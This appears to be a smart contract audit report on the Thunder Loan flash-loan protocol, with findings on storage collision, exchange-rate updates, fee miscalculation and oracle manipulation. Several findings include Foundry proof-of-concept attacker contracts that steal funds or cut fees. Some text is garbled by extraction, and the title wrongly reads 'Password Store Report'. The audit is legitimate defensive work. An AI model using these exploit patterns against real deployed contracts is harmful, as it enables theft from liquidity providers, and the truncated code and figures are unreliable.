

# **Password Store Report**

Performed by: 0xShiki

# **Table of Contents**

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Scope Details
  - Roles
  - Issues found
- Findings
  - [H-1] Storage collision during upgrade
    - \* Relevant GitHub Links
    - \* Description:
    - \* Impact
    - \* Proof of Concept
    - \* Tools Used
    - \* Recommended Mitigation
  - [H-2] Incorrect update of exchangeRate in THunderLoan::deposit function
    - \* Relevant GitHub Links
    - \* Description
    - \* Impact
    - \* Proof of Concept
    - \* Tools Used
    - \* Recommended Mitigation
  - [H-3] Miscalculation of fees when dealing with non-standard ERC20 tokens with less than 18 decimals
    - \* Relevant GitHub Links
    - \* Description
    - \* Impact
    - \* Proof of Concept
    - \* Tools Used
    - \* Recommended Mitigation
  - [H-4] Flash loan can be returned using the deposit function, leading to stolen funds
    - \* Relevant GitHub Links
    - \* Description

- \* Impact
- \* Proof of Concept
- \* Tools Used
- \* Recommended Mitigation
- [M-1] Owner can lock liquidity providers from redeeming their funds from the contract
  - \* Relevant GitHub Links
  - \* Description
  - \* Impact
  - \* Proof of Concept
  - \* Tools Used
  - \* Recommended Mitigation
- [M-2] Flashloan fee can be minimized via price oracle manipulation
  - \* Relevant GitHub Links
  - \* Description:
  - \* Impact:
  - \* Proof of Concept:
  - \* Tools Used
  - \* Recommended Mitigation
- [M-3] Thunder Loan not compatible with Fee on Transfer tokens, leading to drained and locked user funds
  - \* Relevant GitHub Links
  - \* Description
  - \* Impact
  - \* Proof of Concept
  - \* Tools Used
  - \* Recommended Mitigation
- [L-1] Flashloan fee can be 0 for small amounts
  - \* Relevant GitHub Links
  - \* Description
  - \* Impact
  - \* Proof of Concept
  - \* Tools Used
  - \* Recommended Mitigation
- [I-1] Interface IThunderLoan not implemented in ThunderLoan
- [I-2] In IThunderLoan::repay function the token parameter should be of type
   IERC20 not address
- [I-3] No address(0) check in OracleUpgradeable::\_\_Oracle\_init function

- [G-1] In AssetToken::updateExchangeRate function s\_exchangeRate is read from storage too many times
  - \* Description
  - \* Recommended Mitigation
- [G-2] ThunderLoan::s\_feePrecision and ThunderLoan::s\_flashLoanFee should be constant
- [G-3] ThunderLoan::getAssetFromToken and ThunderLoan::isCurrentlyFlashLoaning can be marked as external

# **Protocol Summary**

The Thunder Loan protocol is meant to do the following:

- 1. Give users a way to create flash loans
- 2. Give liquidity providers a way to earn money off their capital Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. These AssetTokens gain interest over time depending on how often people take out flash loans!

Users additionally have to pay a small fee to the protocol depending on how much money they borrow. To calculate the fee, we're using the famous on-chain TSwap price oracle.

# Disclaimer

A smart contract security review can never verify the complete absence of vulnerabilities. This is a time, resource and expertise bound effort where I try to find as many vulnerabilities as possible. I can not guarantee 100% security after the review or even if the review will find any problems with your smart contracts. Subsequent security reviews, bug bounty programs and on-chain monitoring are strongly recommended.

# **Risk Classification**

	Impact		
	High	Medium	Low
High	Н	H/M	М

	Impact			
Likelihood	Medium	H/M	М	M/L
	Low	М	M/L	L

# **Audit Scope Details**

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6
- In Scope:

```
1 src/interfaces/IFlashLoanReceiver.sol
2 src/interfaces/IPoolFactory.sol
3 src/interfaces/ITSwapPool.sol
4 src/interfaces/IThunderLoan.sol
5 src/protocol/AssetToken.sol
6 src/protocol/OracleUpgradeable.sol
7 src/protocol/ThunderLoan.sol
8 src/upgradedProtocol/ThunderLoanUpgraded.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
  - USDC
  - DAI
  - LINK
  - WETH

# Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

#### **Issues found**

Severtity	Number of issues found
High	4
Medium	3
Low	1
Gas	3
Info	3
Total	14

# **Findings**

# [H-1] Storage collision during upgrade

#### **Relevant GitHub Links**

- https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/prot L100C1
- https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/upg L101C1

## **Description:**

At storage slot 1, 2 and 3 of Thunder Loan. sol contract are s\_feePrecision, s\_flashLoanFee and s\_currentlyFlashLoaning respectively. In the Thunder Loan Upgraded contract at storage slot 1 and 2 are s\_flashLoanFee and s\_currentlyFlashLoaning. This is because in the upgradeable contract s\_feePrecision is changed to a constant variable. In that way 2 things will happen: - fee for flashloan will be miscalculated - users will pay the same amount of what they borrowed in fees

### **Impact**

- fee for flashloan will be miscalculated
- users will pay the same amount of what they borrowed in fees

State variables of Thunder Loan. sol contract:

```
mapping(IERC20 => AssetToken) public s_tokenToAssetToken;
uint256 private s_feePrecision;
uint256 private s_flashLoanFee; // 0.3% ETH fee
mapping(IERC20 token => bool currentlyFlashLoaning) private
s_currentlyFlashLoaning;
```

State variables of ThunderLoanUpgraded.sol contract:

```
mapping(IERC20 => AssetToken) public s_tokenToAssetToken;
uint256 private s_flashLoanFee; // 0.3% ETH fee
uint256 public constant FEE_PRECISION = 1e18;
mapping(IERC20 token => bool currentlyFlashLoaning) private
s_currentlyFlashLoaning;
```

As we can see the storage layout of the ThunderLoan.sol contract is different from the ThunderLoanUpgraded.sol contract.

#### **Tools Used**

Manual Review

# **Recommended Mitigation**

Leave a blank storage slot if you are going to replace a storage variable to be a constant:

```
mapping(IERC20 => AssetToken) public s_tokenToAssetToken;
uint256 private s_blank;
uint256 private s_flashLoanFee; // 0.3% ETH fee
uint256 public constant FEE_PRECISION = 1e18;
mapping(IERC20 token => bool currentlyFlashLoaning) private
s_currentlyFlashLoaning;
```

# [H-2] Incorrect update of exchangeRate in ThunderLoan::deposit function

#### **Relevant GitHub Links**

```
https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539
    c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#
    L153-L154
```

# **Description**

On every deposit the exchange rate for asset token is updated, which can lead to users withdrawing more funds immediately. Underlying asset token can be completely drained.

#### **Impact**

Since the exchange rate is updated on deposit: - users can withdraw their funds immedialtely after depositing, in order to withdraw more funds than they deposited. - if a liquidity provider deposits funds and a user takes out a flash loan, it will be impossible for the liquidity provider to withdraw their funds.

# **Proof of Concept**

#### Code

Place the following in test/ThunderLoan.t.sol:

```
function testRedeemFailsAfterLoan() public setAllowedToken
          hasDeposits {
2
           uint256 amountToBorrow = AMOUNT * 10;
3
           uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
               amountToBorrow);
5
           vm.startPrank(user);
           tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
6
7
           thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
               amountToBorrow, "");
8
           vm.stopPrank();
9
10
           uint256 amountToRedeem = type(uint256).max;
11
           vm.startPrank(liquidityProvider);
           thunderLoan.redeem(tokenA, amountToRedeem);
       }
13
```

#### **Tools Used**

Manual Review

# **Recommended Mitigation**

```
function deposit(IERC20 token, uint256 amount) external
          revertIfZero(amount) revertIfNotAllowedToken(token) {
2
           AssetToken assetToken = s_tokenToAssetToken[token];
           uint256 exchangeRate = assetToken.getExchangeRate();
3
4
           uint256 mintAmount = (amount * assetToken.
               EXCHANGE_RATE_PRECISION()) / exchangeRate;
           emit Deposit(msg.sender, token, amount);
5
           assetToken.mint(msg.sender, mintAmount);
6
7
8 -
           uint256 calculatedFee = getCalculatedFee(token, amount);
9 -
           assetToken.updateExchangeRate(calculatedFee);
10
           token.safeTransferFrom(msg.sender, address(assetToken), amount)
11
12
       }
```

# [H-3] Miscalculation of fees when dealing with non-standard ERC20 tokens with less than 18 decimals

#### **Relevant GitHub Links**

### **Description**

The function Thunderloan::getCalculatedFee calculates the fee for users who take out flashloans. However, fees will be lower than expected if we deal with a token with less than 18 decimals (for example USDC, which has 6 decimals).

### **Impact**

• Users will pay less fees than expected when dealing with tokens with less than 18 decimals.

Scenario: 1. User 1 takes out a flash loan of 1 ETH which is 1e18 wei. 2. User 2 takes out a flash loan of 2000 USDC which is 2000e6 (2e9) wei.

- For User 1 valueOfBorrowedToken = (1e18 \* 1e18) / 1e18 = 1e18 wei
- For User 2 valueOfBorrowedToken = (2e9 \* 1e18) / 1e18 = 2e9 wei
- fee for User 1 = (1e18 \* 3e15) / 1e18 = 3e15 wei (or 0,003 ETH)
- fee for User 2 = (2e9 \* 3e15) / 1e18 = 6e6 wei (or 0,000000000000)

The function used for calculating the fee:

#### **Tools Used**

Manual Review

# **Recommended Mitigation**

Consider adding logic to you contract for dealing with non-standard ERC20 tokens with less than 18 decimals.

# [H-4] Flash loan can be returned using the deposit function, leading to stolen funds

#### **Relevant GitHub Links**

```
https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539
    c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#
    L147-L156

https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539
    c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#
    L180-L217
```

# **Description**

The function ThunderLoan::deposit allows users to deposit funds into the protocol. If a user takes out a flash loan using ThunderLoan::flashloan function, they can return the flash loan using the deposit function. In that way they can mint to themselves AssetToken tokens without providing any collateral, and later redeem them, which will lead to stolen funds.

#### **Impact**

• Users can steal funds from the protocol by returning flash loans using the deposit function.

# **Proof of Concept**

• Attacker contract:

```
1
       contract DepositOverRepay is IFlashLoanReceiver {
2
           ThunderLoan thunderLoan;
3
           AssetToken assetToken;
           IERC20 s_token;
5
6
           constructor(address _thunderLoan) {
                thunderLoan = ThunderLoan(_thunderLoan);
8
9
10
           function executeOperation(
11
               address token,
               uint256 amount,
12
13
               uint256 fee,
                address, /* initiator */
14
15
               bytes calldata /* params */
16
           )
17
               external
               returns (bool)
18
19
            {
               s_token = IERC20(token);
20
21
                assetToken = thunderLoan.getAssetFromToken(IERC20(token));
22
                IERC20(token).approve(address(thunderLoan), amount + fee);
23
                thunderLoan.deposit(IERC20(token), amount + fee);
24
25
                return true;
           }
26
27
28
            function redeemMoney() public {
29
                uint256 amount = assetToken.balanceOf(address(this));
                thunderLoan.redeem(s_token, amount);
31
```

```
32 }
```

#### • Test function:

```
function testUseDepositInsteadOfRepayToStealFunds() public
           setAllowedToken hasDeposits {
2
           vm.startPrank(user);
           uint256 amountToBorrow = 50e18;
3
           uint256 fee = thunderLoan.getCalculatedFee(tokenA,
4
               amountToBorrow);
5
           DepositOverRepay dor = new DepositOverRepay(address(thunderLoan
           tokenA.mint(address(dor), fee);
7
8
9
           thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "")
           dor.redeemMoney();
10
           vm.stopPrank();
11
12
13
           assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
14
       }
```

#### **Tools Used**

**Manual Review** 

#### **Recommended Mitigation**

Add a check in deposit() to make it impossible to use it in the same block of the flash loan.

# [M-1] Owner can lock liquidity providers from redeeming their funds from the contract

### **Relevant GitHub Links**

```
https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539
    c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#
    L227-L244
```

# **Description**

The function Thunder Loan: : setAllowedToken is used for allowing and removing tokens from the protocol and it is called only by the owner. If the owner calls the function for removing a token

and a user has deposited of that token in the protocol, the function will remove the token from the s\_tokenToAssetToken mapping and user won't be able to redeem their funds.

#### **Impact**

User's funds can get locked in the protocol.

# **Proof of Concept**

Add the following test in test/ThunderLoan.t.sol:

```
function testCannotRedeemNonAllowedTokenAfterDepositingToken()
1
2
           vm.prank(thunderLoan.owner());
3
           AssetToken assetToken = thunderLoan.setAllowedToken(tokenA,
           tokenA.mint(liquidityProvider, AMOUNT);
5
           vm.startPrank(liquidityProvider);
6
7
           tokenA.approve(address(thunderLoan), AMOUNT);
           thunderLoan.deposit(tokenA, AMOUNT);
8
9
           vm.stopPrank();
10
11
           vm.prank(thunderLoan.owner());
           thunderLoan.setAllowedToken(tokenA, false);
12
13
           vm.expectRevert(abi.encodeWithSelector(ThunderLoan.
14
               ThunderLoan__NotAllowedToken.selector, address(tokenA)));
           vm.startPrank(liquidityProvider);
15
           thunderLoan.redeem(tokenA, AMOUNT_LESS);
16
           vm.stopPrank();
17
18
       }
```

#### **Tools Used**

**Manual Review** 

# **Recommended Mitigation**

Consider adding a check if a user holds that assetToken in the protocol, therefore preventing from removing it.

# [M-2] Flashloan fee can be minimized via price oracle manipulation

#### **Relevant GitHub Links**

```
https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539
    c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#
    L201-L210

https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539
    c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#
    L192
```

# **Description:**

Thunder Loan uses TSwap for determining the price of the token by how many reserves are on either side of the pool. If an attacker can manipulate the price of the token by buying and selling a large amount of the token, they can minimize the flashloan fee.

#### Impact:

• Users can minimize the flashloan fee by manipulating the price of the token.

# **Proof of Concept:**

- 1. User takes out a flash loan for 1000 TokenA.
- 2. During the flashloan they do the following:
  - 1. User sells 1000 TokenA, tanking the price in the pool.
  - 2. Instead of repaying right away they take another flashloan for 1000 TokenA.
  - 3. Due to the fact that Thunder Loan calculates the price based on TSwapPool the second flashloan will be cheaper.
  - 4. The user repays the first flashloan, and then the second with lowered fee.

Paste the following snippet of code in test/ThunderLoan.t.sol:

#### Attacker

```
contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    // swap tokenA for weth
    // take out another flash loan

BuffMockTSwap tswap;
```

```
ThunderLoan thunderLoan;
7
            address repayAddress;
8
9
            bool attacked:
            uint256 public fee1;
            uint256 public fee2;
11
12
            constructor(address _tswapPool, address _thunderLoan, address
13
               _repayAddress) {
                tswap = BuffMockTSwap(_tswapPool);
14
15
                thunderLoan = ThunderLoan(_thunderLoan);
16
                repayAddress = _repayAddress;
            }
17
18
19
            function executeOperation(
20
                address token,
21
                uint256 amount,
22
                uint256 fee,
23
                address, /* initiator */
24
                bytes calldata /* params */
25
            )
                external
27
                returns (bool)
28
            {
29
                if (!attacked) {
                    fee1 = fee;
31
                    attacked = true;
32
                    // swap tokenA for weth
                    // take out another flash loan
34
                    uint256 wethBought = tswap.getOutputAmountBasedOnInput
                        (50e18, 100e18, 100e18);
                    IERC20(token).approve(address(tswap), 50e18);
                    tswap.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
                        wethBought, block.timestamp);
                    thunderLoan.flashloan(address(this), IERC20(token),
                        amount, "");
                    // repay
40
                    IERC20(token).transfer(repayAddress, amount + fee);
41
42
                } else {
43
                    // calculate fee
44
                    fee2 = fee;
45
                    // repay
                    IERC20(token).transfer(repayAddress, amount + fee);
46
47
                }
48
49
                return true;
            }
51
       }
```

#### Test

```
1
       function testOracleManipulation() public {
           thunderLoan = new ThunderLoan();
           tokenA = new ERC20Mock();
           proxy = new ERC1967Proxy(address(thunderLoan), "");
4
           BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
5
6
           address tswapPool = pf.createPool(address(tokenA));
7
           thunderLoan = ThunderLoan(address(proxy));
8
           thunderLoan.initialize(address(pf));
9
10
           // fund tswap
           vm.startPrank(liquidityProvider);
11
           tokenA.mint(liquidityProvider, 100e18);
13
           tokenA.approve(tswapPool, 100e18);
           weth.mint(liquidityProvider, 100e18);
14
15
           weth.approve(tswapPool, 100e18);
           // ration is 1:1
           BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.
17
               timestamp);
           vm.stopPrank();
18
19
20
           // allow tokenA in thunderloan
           vm.startPrank(thunderLoan.owner());
21
22
           thunderLoan.setAllowedToken(tokenA, true);
23
           vm.stopPrank();
24
25
           // fund thunderloan
           // - have 100 WETH and 100 tokenA in TSwap Pool
           // - have 1000 tokenA in ThunderLoan, which we can borrow
27
28
           vm.startPrank(liquidityProvider);
29
           tokenA.mint(liquidityProvider, 1000e18);
           tokenA.approve(address(thunderLoan), 1000e18);
           thunderLoan.deposit(tokenA, 1000e18);
31
32
           // take out 2 flash loans
34
           // - nukes the price of weth/tokenA on TSwap
           // - show that reduces fees we pay on ThunderLoan
           uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
               100e18);
           console2.log("NormalFee >>> ", normalFeeCost); //
               0.296147410319118389 (~0.3)
38
39
           uint256 amountToBorrow = 50e18; // we gonna do it twice
40
           MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver
41
               (
42
               address(tswapPool), address(thunderLoan), address(
                   thunderLoan.getAssetFromToken(tokenA))
           );
```

```
44
45
            vm.startPrank(user);
            tokenA.mint(address(flr), 100e18);
46
            thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "")
47
               ;
48
49
            vm.stopPrank();
51
            uint256 attackFee = flr.fee1() + flr.fee2();
52
53
            console2.log("Attack fee is >>> ", attackFee);
54
            assert(attackFee < normalFeeCost);</pre>
       }
55
```

#### **Tools Used**

**Manual Review** 

# **Recommended Mitigation**

Consider using a Chainlink Oracle for determining the price of the token.

# [M-3] Thunder Loan not compatible with Fee on Transfer tokens, leading to drained and locked user funds

# **Relevant GitHub Links**

```
1 https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/main/src/protocol/
ThunderLoan.sol#147-156
```

#### **Description**

When providing liquidity using ThunderLoan::deposit function, there are tokens like STA or PAXG, which have a fee on transfering. In that way, when a user deposits these tokens into the protocol, the protocol will not receive the full amount of the token, and could lead to potential loss of funds.

#### **Impact**

• Users can lose funds when depositing tokens with a fee on transfer.

- 1. Alice deposits 100 STA tokens in the protocol, receives 100 AssetToken tokens.
- 2. Since STA has a 1% fee on transfer, the protocol will receive 99 STA tokens.
- 3. Bob deposits 200 STA tokens in the protocol, receives 200 AssetToken tokens.
- 4. Since STA has a 1% fee on transfer, the protocol will receive 198 STA tokens.
- 5. If Alice tries to withdraw her funds, Bob can frontrun her by redeeming all of his tokens, and in that way Alice won't be able to claim her underlying amount.

#### **Tools Used**

**Manual Review** 

#### **Recommended Mitigation**

Implement logic to handle fee on transfer tokens, for example calculate the difference between the amount before depositing and after depositing, and then mint the user the correct amount of AssetToken tokens.

# [L-1] Flashloan fee can be 0 for small amounts

#### **Relevant GitHub Links**

1 https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539 c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#

# **Description**

If amount of flashloan is 333 or less, the fee calculation can result to 0

#### **Impact**

• Users can take out flashloans for small amounts without paying any fees

#### **Tools Used**

Manual Review

# **Recommended Mitigation**

A minimum fee check can be implemented in the function.

- [I-1] Interface IThunderLoan not implemented in ThunderLoan
- [I-2] In IThunderLoan: repay function the token parameter should be of type IERC20 not address
- [I-3] No address(0) check in OracleUpgradeable::\_\_Oracle\_init function
- [G-1] In AssetToken::updateExchangeRate function s\_exchangeRate is read from storage too many times

## Description

```
emit ExchangeRateUpdated(s_exchangeRate);
}
```

# **Recommended Mitigation**

Consider storing s\_exchangeRate in a local variable before using it in the calculation.

[G-2] ThunderLoan::s\_feePrecision and ThunderLoan::s\_flashLoanFee should be constant

[G-3] ThunderLoan::getAssetFromToken and ThunderLoan::isCurrentlyFlashLoaning can be marked as external